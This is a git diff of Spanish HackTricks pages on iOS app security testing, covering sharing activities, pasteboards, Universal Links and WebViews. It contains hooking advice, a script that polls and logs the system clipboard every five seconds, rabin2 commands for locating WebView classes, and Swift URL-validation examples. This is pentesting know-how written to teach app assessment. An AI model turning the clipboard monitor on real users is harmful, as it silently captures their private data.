Una guía concisa sobre estas claves está disponible en [Stackoverflow](https://stackoverflow.com/questions/21937978/what-are-utimportedtypedeclarations-and-utexportedtypedeclarations-used-for-on-i), destacando la importancia de definir e importar UTIs para el reconocimiento a nivel del sistema y asociar tipos de documentos con su aplicación para la integración en el diálogo "Abrir con".
## Enfoque de prueba dinámica
## Enfoque de Pruebas Dinámicas
Para probar **actividades de envío**, se podría:
- Engancharse en el método `init(activityItems:applicationActivities:)` para capturar los elementos y actividades compartidos.
- Engancharse al método `init(activityItems:applicationActivities:)` para capturar los elementos y actividades que se comparten.
- Identificar actividades excluidas interceptando la propiedad `excludedActivityTypes`.
Para **recibir elementos**, implica:
@ -63,16 +64,17 @@ Para **recibir elementos**, implica:
## Referencias
* [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,56 +1,57 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
El intercambio de datos dentro y entre aplicaciones en dispositivos iOS es facilitado por el mecanismo [`UIPasteboard`](https://developer.apple.com/documentation/uikit/uipasteboard), que se divide en dos categorías principales:
El intercambio de datos dentro y entre aplicaciones en dispositivos iOS se facilita mediante el mecanismo [`UIPasteboard`](https://developer.apple.com/documentation/uikit/uipasteboard), que se divide en dos categorías principales:
- **Portapapeles general en todo el sistema**: Se utiliza para compartir datos con **cualquier aplicación** y está diseñado para persistir datos a través de reinicios de dispositivo y desinstalaciones de aplicaciones, una característica que ha estado disponible desde iOS 10.
- **Portapapeles personalizado/nombrado**: Estos son específicamente para compartir datos **dentro de una aplicación o con otra aplicación** que comparte el mismo ID de equipo, y no están diseñados para persistir más allá de la vida del proceso de la aplicación que los crea, siguiendo los cambios introducidos en iOS 10.
- **Portapapeles general del sistema**: Este se utiliza para compartir datos con **cualquier aplicación** y está diseñado para persistir datos a través de reinicios del dispositivo y desinstalaciones de aplicaciones, una característica que está disponible desde iOS 10.
- **Portapapeles personalizados / nombrados**: Estos son específicamente para compartir datos **dentro de una aplicación o con otra aplicación** que comparte el mismo ID de equipo, y no están diseñados para persistir más allá de la vida del proceso de la aplicación que los crea, siguiendo los cambios introducidos en iOS 10.
Las **consideraciones de seguridad** juegan un papel importante al utilizar los portapapeles. Por ejemplo:
- No hay un mecanismo para que los usuarios administren los permisos de la aplicación para acceder al **portapapeles**.
- Para mitigar el riesgo de monitoreo no autorizado en segundo plano del portapapeles, el acceso está restringido cuando la aplicación está en primer plano (desde iOS 9).
- Se desaconseja el uso de portapapeles nombrados persistentes a favor de contenedores compartidos debido a preocupaciones de privacidad.
**Consideraciones de seguridad** juegan un papel significativo al utilizar portapapeles. Por ejemplo:
- No hay un mecanismo para que los usuarios gestionen los permisos de las aplicaciones para acceder al **portapapeles**.
- Para mitigar el riesgo de monitoreo no autorizado en segundo plano del portapapeles, el acceso se restringe a cuando la aplicación está en primer plano (desde iOS 9).
- Se desaconseja el uso de portapapeles nombrados persistentes en favor de contenedores compartidos debido a preocupaciones de privacidad.
- La función **Portapapeles Universal** introducida con iOS 10, que permite compartir contenido entre dispositivos a través del portapapeles general, puede ser gestionada por los desarrolladores para establecer la expiración de datos y deshabilitar la transferencia automática de contenido.
Es crucial asegurarse de que la **información sensible no se almacene inadvertidamente** en el portapapeles general. Además, las aplicaciones deben estar diseñadas para evitar el uso indebido de los datos del portapapeles general para acciones no deseadas, y se alienta a los desarrolladores a implementar medidas para evitar la copia de información sensible en el portapapeles.
Asegurarse de que **la información sensible no se almacene inadvertidamente** en el portapapeles global es crucial. Además, las aplicaciones deben diseñarse para prevenir el uso indebido de los datos del portapapeles global para acciones no intencionadas, y se alienta a los desarrolladores a implementar medidas para evitar la copia de información sensible al portapapeles.
### Análisis Estático
Para el análisis estático, busca en el código fuente o binario:
- `generalPasteboard` para identificar el uso del **portapapeles general en todo el sistema**.
- `pasteboardWithName:create:` y `pasteboardWithUniqueName` para crear **portapapeles personalizados**. Verifica si la persistencia está habilitada, aunque esto está obsoleto.
Para el análisis estático, busque en el código fuente o binario:
- `generalPasteboard` para identificar el uso del **portapapeles general del sistema**.
- `pasteboardWithName:create:` y `pasteboardWithUniqueName` para crear **portapapeles personalizados**. Verifique si la persistencia está habilitada, aunque esto está en desuso.
### Análisis Dinámico
El análisis dinámico implica enganchar o rastrear métodos específicos:
- Monitorea `generalPasteboard` para el uso en todo el sistema.
- Rastrea `pasteboardWithName:create:` y `pasteboardWithUniqueName` para implementaciones personalizadas.
- Observa las llamadas de método `setPersistent:` obsoletas para verificar la configuración de persistencia.
- Monitorear `generalPasteboard` para el uso general.
- Rastrear `pasteboardWithName:create:` y `pasteboardWithUniqueName` para implementaciones personalizadas.
- Observar llamadas al método en desuso `setPersistent:` para verificar configuraciones de persistencia.
Detalles clave a monitorear incluyen:
- **Nombres** y **contenidos** del portapapeles (por ejemplo, verificación de cadenas, URLs, imágenes).
- **Nombres de portapapeles** y **contenidos** (por ejemplo, verificar cadenas, URLs, imágenes).
- **Número de elementos** y **tipos de datos** presentes, aprovechando verificaciones de tipos de datos estándar y personalizados.
- **Opciones de expiración y solo local** inspeccionando el método `setItems:options:`.
Un ejemplo de uso de herramienta de monitoreo es el **monitor de portapapeles de objection**, que consulta el generalPasteboard cada 5 segundos en busca de cambios y muestra los nuevos datos.
Un ejemplo del uso de herramientas de monitoreo es el **monitor de portapapeles de objection**, que consulta el generalPasteboard cada 5 segundos en busca de cambios y muestra los nuevos datos.
Aquí tienes un ejemplo de script JavaScript simple, inspirado en el enfoque de objection, para leer y registrar cambios en el portapapeles cada 5 segundos:
Aquí hay un ejemplo simple de script en JavaScript, inspirado en el enfoque de objection, para leer y registrar cambios del portapapeles cada 5 segundos:
```javascript
const UIPasteboard = ObjC.classes.UIPasteboard;
const Pasteboard = UIPasteboard.generalPasteboard();
@ -85,16 +86,17 @@ console.log(items);
{% embed url="https://websec.nl/" %}
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
{% endhint %}

View file

@ -1,30 +1,31 @@
# Enlaces Universales de iOS
# iOS Universal Links
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Introducción
Los enlaces universales ofrecen una experiencia de **redirección sin problemas** a los usuarios al abrir directamente el contenido en la aplicación, evitando la necesidad de redirección a Safari. Estos enlaces son **únicos** y seguros, ya que no pueden ser reclamados por otras aplicaciones. Esto se garantiza alojando un archivo JSON `apple-app-site-association` en el directorio raíz del sitio web, estableciendo un enlace verificable entre el sitio web y la aplicación. En casos en los que la aplicación no esté instalada, Safari se hará cargo y dirigirá al usuario a la página web, manteniendo la presencia de la aplicación.
Los enlaces universales ofrecen una **experiencia de redirección** fluida a los usuarios al abrir directamente el contenido en la aplicación, evitando la necesidad de redirección a Safari. Estos enlaces son **únicos** y seguros, ya que no pueden ser reclamados por otras aplicaciones. Esto se asegura al alojar un archivo JSON `apple-app-site-association` en el directorio raíz del sitio web, estableciendo un enlace verificable entre el sitio web y la aplicación. En los casos en que la aplicación no está instalada, Safari tomará el control y dirigirá al usuario a la página web, manteniendo la presencia de la aplicación.
Para los probadores de penetración, el archivo `apple-app-site-association` es de particular interés, ya que puede revelar **rutas sensibles**, potencialmente incluyendo aquellas relacionadas con funciones no lanzadas.
Para los pentesters, el archivo `apple-app-site-association` es de particular interés, ya que puede revelar **rutas sensibles**, potencialmente incluyendo aquellas relacionadas con características no publicadas.
### **Analizando el Permiso de Dominios Asociados**
### **Analizando el derecho de dominios asociados**
Los desarrolladores habilitan los Enlaces Universales configurando los **Dominios Asociados** en la pestaña de Capacidades de Xcode o inspeccionando el archivo `.entitlements`. Cada dominio lleva el prefijo `applinks:`. Por ejemplo, la configuración de Telegram podría aparecer de la siguiente manera:
Los desarrolladores habilitan los enlaces universales configurando los **Dominios Asociados** en la pestaña Capacidades de Xcode o inspeccionando el archivo `.entitlements`. Cada dominio está precedido por `applinks:`. Por ejemplo, la configuración de Telegram podría aparecer de la siguiente manera:
```xml
<key>com.apple.developer.associated-domains</key>
<array>
@ -32,21 +33,21 @@ Los desarrolladores habilitan los Enlaces Universales configurando los **Dominio
<string>applinks:t.me</string>
</array>
```
Para obtener información más completa, consulta la [Documentación de Desarrolladores de Apple archivada](https://developer.apple.com/library/archive/documentation/General/Conceptual/AppSearch/UniversalLinks.html#//apple_ref/doc/uid/TP40016308-CH12-SW2).
Para obtener información más completa, consulta la [documentación de Apple Developer archivada](https://developer.apple.com/library/archive/documentation/General/Conceptual/AppSearch/UniversalLinks.html#//apple_ref/doc/uid/TP40016308-CH12-SW2).
Si estás trabajando con una aplicación compilada, los permisos pueden extraerse según se describe en [esta guía](extracting-entitlements-from-compiled-application.md).
Si trabajas con una aplicación compilada, los derechos pueden ser extraídos como se detalla en [esta guía](extracting-entitlements-from-compiled-application.md).
### **Recuperación del Archivo de Asociación del Sitio de la App de Apple**
### **Recuperando el archivo de asociación de sitios de aplicaciones de Apple**
El archivo `apple-app-site-association` debe recuperarse del servidor utilizando los dominios especificados en los permisos. Asegúrate de que el archivo sea accesible a través de HTTPS directamente en `https://<dominio>/apple-app-site-association`. Herramientas como el [Validador de Asociación del Sitio de la App de Apple (AASA)](https://branch.io/resources/aasa-validator/) pueden ayudar en este proceso.
El archivo `apple-app-site-association` debe ser recuperado del servidor utilizando los dominios especificados en los derechos. Asegúrate de que el archivo sea accesible a través de HTTPS directamente en `https://<domain>/apple-app-site-association`. Herramientas como el [validador de Apple App Site Association (AASA)](https://branch.io/resources/aasa-validator/) pueden ayudar en este proceso.
### **Manejo de Enlaces Universales en la App**
### **Manejando enlaces universales en la aplicación**
La app debe implementar métodos específicos para manejar correctamente los enlaces universales. El método principal a buscar es [`application:continueUserActivity:restorationHandler:`](https://developer.apple.com/documentation/uikit/uiapplicationdelegate/1623072-application). Es crucial que el esquema de las URL manejadas sea HTTP o HTTPS, ya que otros no serán compatibles.
La aplicación debe implementar métodos específicos para manejar enlaces universales correctamente. El método principal a buscar es [`application:continueUserActivity:restorationHandler:`](https://developer.apple.com/documentation/uikit/uiapplicationdelegate/1623072-application). Es crucial que el esquema de las URL manejadas sea HTTP o HTTPS, ya que otros no serán soportados.
#### **Validación del Método del Manejador de Datos**
#### **Validando el método de manejo de datos**
Cuando un enlace universal abre una app, se pasa a la app un objeto `NSUserActivity` con la URL. Antes de procesar esta URL, es esencial validarla y sanearla para prevenir riesgos de seguridad. Aquí tienes un ejemplo en Swift que muestra el proceso:
Cuando un enlace universal abre una aplicación, se pasa un objeto `NSUserActivity` a la aplicación con la URL. Antes de procesar esta URL, es esencial validarla y sanearla para prevenir riesgos de seguridad. Aquí hay un ejemplo en Swift que demuestra el proceso:
```swift
func application(_ application: UIApplication, continue userActivity: NSUserActivity,
restorationHandler: @escaping ([UIUserActivityRestoring]?) -> Void) -> Bool {
@ -58,7 +59,7 @@ application.open(url, options: [:], completionHandler: nil)
return true
}
```
Las URL deben ser analizadas y validadas cuidadosamente, especialmente si incluyen parámetros, para protegerse contra posibles suplantaciones de identidad o datos malformados. La API `NSURLComponents` es útil para este propósito, como se muestra a continuación:
Las URL deben ser analizadas y validadas cuidadosamente, especialmente si incluyen parámetros, para protegerse contra posibles suplantaciones o datos mal formados. La API `NSURLComponents` es útil para este propósito, como se demuestra a continuación:
```swift
func application(_ application: UIApplication,
continue userActivity: NSUserActivity,
@ -84,28 +85,26 @@ return false
}
}
```
A través de **una configuración y validación diligentes**, los desarrolladores pueden asegurar que los enlaces universales mejoren la experiencia del usuario manteniendo los estándares de seguridad y privacidad.
A través de **una configuración y validación diligentes**, los desarrolladores pueden asegurarse de que los enlaces universales mejoren la experiencia del usuario mientras mantienen los estándares de seguridad y privacidad.
## Tools
* [GetUniversal.link](https://getuniversal.link/): Ayuda a simplificar la prueba y gestión de los Enlaces Universales de tu aplicación y el archivo AASA. Simplemente ingresa tu dominio para verificar la integridad del archivo AASA o utiliza el panel personalizado para probar fácilmente el comportamiento de los enlaces. Esta herramienta también te ayuda a determinar cuándo Apple indexará nuevamente tu archivo AASA.
## Herramientas
* [GetUniversal.link](https://getuniversal.link/): Ayuda a simplificar la prueba y gestión de los enlaces universales y el archivo AASA de tu aplicación. Simplemente introduce tu dominio para verificar la integridad del archivo AASA o utiliza el panel personalizado para probar fácilmente el comportamiento del enlace. Esta herramienta también te ayuda a determinar cuándo Apple indexará tu archivo AASA la próxima vez.
## Referencias
## References
* [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0070/#static-analysis](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0070/#static-analysis)
* [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-object-persistence-mstg-platform-8](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-object-persistence-mstg-platform-8)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,31 +1,32 @@
# WebViews de iOS
# iOS WebViews
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
El código de esta página fue extraído de [aquí](https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md). Consulta la página para más detalles.
The code of this page was extracted from [here](https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md). Check the page for further details.
## Tipos de WebViews
Los WebViews se utilizan en aplicaciones para mostrar contenido web de forma interactiva. Diferentes tipos de WebViews ofrecen diferentes funcionalidades y características de seguridad para aplicaciones de iOS. Aquí tienes un breve resumen:
Las WebViews se utilizan dentro de las aplicaciones para mostrar contenido web de manera interactiva. Varios tipos de WebViews ofrecen diferentes funcionalidades y características de seguridad para aplicaciones iOS. Aquí hay un breve resumen:
- **UIWebView**, que ya no se recomienda a partir de iOS 12 debido a su falta de soporte para deshabilitar **JavaScript**, lo que lo hace susceptible a inyecciones de scripts y ataques de **Cross-Site Scripting (XSS)**.
- **UIWebView**, que ya no se recomienda a partir de iOS 12 debido a su falta de soporte para deshabilitar **JavaScript**, lo que la hace susceptible a inyecciones de scripts y ataques de **Cross-Site Scripting (XSS)**.
- **WKWebView** es la opción preferida para incorporar contenido web en aplicaciones, ofreciendo un mayor control sobre el contenido y características de seguridad. **JavaScript** está habilitado de forma predeterminada, pero se puede deshabilitar si es necesario. También admite funciones para evitar que JavaScript abra ventanas automáticamente y garantiza que todo el contenido se cargue de forma segura. Además, la arquitectura de **WKWebView** minimiza el riesgo de corrupción de memoria que afecta al proceso principal de la aplicación.
- **WKWebView** es la opción preferida para incorporar contenido web en aplicaciones, ofreciendo un control mejorado sobre el contenido y características de seguridad. **JavaScript** está habilitado por defecto, pero se puede deshabilitar si es necesario. También admite características para evitar que JavaScript abra ventanas automáticamente y asegura que todo el contenido se cargue de manera segura. Además, la arquitectura de **WKWebView** minimiza el riesgo de corrupción de memoria que afecte al proceso principal de la aplicación.
- **SFSafariViewController** ofrece una experiencia de navegación web estandarizada dentro de las aplicaciones, reconocible por su diseño específico que incluye un campo de dirección de solo lectura, botones de compartir y navegación, y un enlace directo para abrir contenido en Safari. A diferencia de **WKWebView**, no se puede deshabilitar **JavaScript** en **SFSafariViewController**, que también comparte cookies y datos con Safari, manteniendo la privacidad del usuario desde la aplicación. Debe mostrarse de manera prominente según las directrices de la App Store.
- **SFSafariViewController** ofrece una experiencia de navegación web estandarizada dentro de las aplicaciones, reconocible por su diseño específico que incluye un campo de dirección de solo lectura, botones de compartir y navegación, y un enlace directo para abrir contenido en Safari. A diferencia de **WKWebView**, **JavaScript** no se puede deshabilitar en **SFSafariViewController**, que también comparte cookies y datos con Safari, manteniendo la privacidad del usuario desde la aplicación. Debe mostrarse de manera prominente de acuerdo con las pautas de la App Store.
```javascript
// Example of disabling JavaScript in WKWebView:
WKPreferences *preferences = [[WKPreferences alloc] init];
@ -36,43 +37,43 @@ WKWebView *webView = [[WKWebView alloc] initWithFrame:CGRectZero configuration:c
```
## Resumen de Exploración de Configuración de WebViews
### **Descripción del Análisis Estático**
### **Descripción General del Análisis Estático**
En el proceso de examinar las configuraciones de **WebViews**, se enfoca en dos tipos principales: **UIWebView** y **WKWebView**. Para identificar estas WebViews dentro de un binario, se utilizan comandos que buscan referencias de clases específicas y métodos de inicialización.
En el proceso de examinar las configuraciones de **WebViews**, se enfocan en dos tipos principales: **UIWebView** y **WKWebView**. Para identificar estos WebViews dentro de un binario, se utilizan comandos, buscando referencias de clase específicas y métodos de inicialización.
- **Identificación de UIWebView**
```bash
$ rabin2 -zz ./WheresMyBrowser | egrep "UIWebView$"
```
Este comando ayuda a localizar instancias de **UIWebView** buscando cadenas de texto relacionadas con ella en el binario.
Este comando ayuda a localizar instancias de **UIWebView** buscando cadenas de texto relacionadas con él en el binario.
- **Identificación de WKWebView**
```bash
$ rabin2 -zz ./WheresMyBrowser | egrep "WKWebView$"
```
De manera similar, para **WKWebView**, este comando busca en el binario las cadenas de texto indicativas de su uso.
De manera similar, para **WKWebView**, este comando busca en el binario cadenas de texto indicativas de su uso.
Además, para encontrar cómo se inicializa un **WKWebView**, se ejecuta el siguiente comando, apuntando a la firma del método relacionado con su inicialización:
Además, para encontrar cómo se inicializa un **WKWebView**, se ejecuta el siguiente comando, dirigido a la firma del método relacionada con su inicialización:
```bash
$ rabin2 -zzq ./WheresMyBrowser | egrep "WKWebView.*frame"
```
#### **Verificación de la Configuración de JavaScript**
